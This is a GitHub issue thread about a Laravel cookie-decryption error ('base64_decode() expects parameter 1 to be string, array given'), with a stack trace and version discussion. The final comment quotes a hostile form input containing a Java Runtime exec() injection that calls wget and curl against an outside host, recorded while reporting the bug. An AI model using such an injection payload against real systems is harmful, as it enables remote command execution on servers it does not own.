Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

base64_decode() expects parameter 1 to be string, array given' in /var/www/html/vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php:135 #16442

Closed
carlosdubus opened this issue Nov 17, 2016 · 3 comments

Comments

@carlosdubus
Copy link

  • Laravel Version:

vendor/laravel/framework/src/Illuminate/Foundation/Application.php
const VERSION = '5.0.34';

  • PHP Version:
    PHP 5.6.24 (cli) (built: Aug 10 2016 20:22:16)
    Copyright (c) 1997-2016 The PHP Group
    Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
  • Database Driver & Version: Not relevant (I think)

Description:

Getting this on the site sometimes. Something about the cookie data.
exception 'ErrorException' with message 'base64_decode() expects parameter 1 to be string, array given' in /var/www/html/vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php:135
Stack trace:
#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError(2, 'base64_decode()...', '/var/www/html/v...', 135, Array)
#1 /var/www/html/vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php(135): base64_decode(Array)
#2 /var/www/html/vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php(92): Illuminate\Encryption\Encrypter->getJsonPayload(Array)
#3 /var/www/html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(91): Illuminate\Encryption\Encrypter->decrypt(Array)
#4 /var/www/html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(75): Illuminate\Cookie\Middleware\EncryptCookies->decryptArray(Array)
#5 /var/www/html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(55): Illuminate\Cookie\Middleware\EncryptCookies->decryptCookie(Array)
#6 /var/www/html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(40): Illuminate\Cookie\Middleware\EncryptCookies->decrypt(Object(Illuminate\Http\Request))
#7 /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(125): Illuminate\Cookie\Middleware\EncryptCookies->handle(Object(Illuminate\Http\Request), Object(Closure))
#8 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/CheckForMaintenanceMode.php(42): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline{closure}(Object(Illuminate\Http\Request))
#9 /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(125): Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode->handle(Object(Illuminate\Http\Request), Object(Closure))
#10 [internal function]: Illuminate\Pipeline\Pipeline->Illuminate\Pipeline{closure}(Object(Illuminate\Http\Request))
#11 /var/www/html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(101): call_user_func(Object(Closure), Object(Illuminate\Http\Request))
#12 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(115): Illuminate\Pipeline\Pipeline->then(Object(Closure))
#13 /var/www/html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(84): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter(Object(Illuminate\Http\Request))
#14 /var/www/html/index.php(49): Illuminate\Foundation\Http\Kernel->handle(Object(Illuminate\Http\Request))
#15 {main}

Steps To Reproduce:

I can provide cookie data if necessary, not sure how safe is to post it here.

@srmklive
Copy link
Contributor

Are you facing this error in 5.1 or 5.3 too?

@themsaid
Copy link
Member

Only 5.1 and 5.3 are supported at the moment, please report only if the issue exists in these versions.

@jordanade
Copy link

I'm getting this error in Laravel 10, PHP 8.1.

base64_decode(): Argument #1 ($string) must be of type string, array given

/vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php in base64_decode at line 208

Happens in the Validator::make function when someone tries to hack me. I am using the msurguy/honeypot package to catch spam.

$spam_detected = Validator::make($request->all(), [
	 'my_name'   => 'honeypot',
	 'my_time'   => 'required|honeytime:5'
])->fails();

The user input for the 'my_time' value. The problem appears to be the JSON object literal syntax:

{
    #this.getClass().forName('java.lang.Runtime').getRuntime().exec('wget+http://hitwscnytstqt.bxss.me/||curl+http://hitwscnytstqt.bxss.me/'): eyJpdiI6IkVObmIwOFhjc2ozZXNORkRJclh2Z0E9PSIsInZhbHVlIjoiUzYrY1dVakM2OVBUMkJpeklXOXh0Zz09IiwibWFjIjoiZGM3NzBkZDE3MWQ3YTAyNjRhNjY4ZDc3OWNhOTllMDIzNjg4YWZlNDJhNjViNWJhMDZkNjI1YmQyZDkzN2FmNCIsInRhZyI6IiJ9
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants